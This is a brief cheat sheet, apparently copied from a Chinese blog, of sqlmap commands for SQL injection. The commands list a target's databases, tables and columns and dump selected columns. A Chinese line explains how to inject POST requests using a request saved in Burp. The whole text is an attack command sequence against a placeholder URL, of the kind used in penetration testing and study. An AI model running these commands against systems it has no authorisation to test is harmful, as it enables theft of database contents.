sqlmap -u "url" --dbs
sqlmap -u "url" -D datename --tables
sqlmap -u "url" -D dname -T tname --columns
sqlmap -u "url" -D dname -T tname -C cname1,cname2 --dump
post的注入
将url换成burp里存下来的包的地址即可
原文:https://www.cnblogs.com/fungus399/p/12182728.html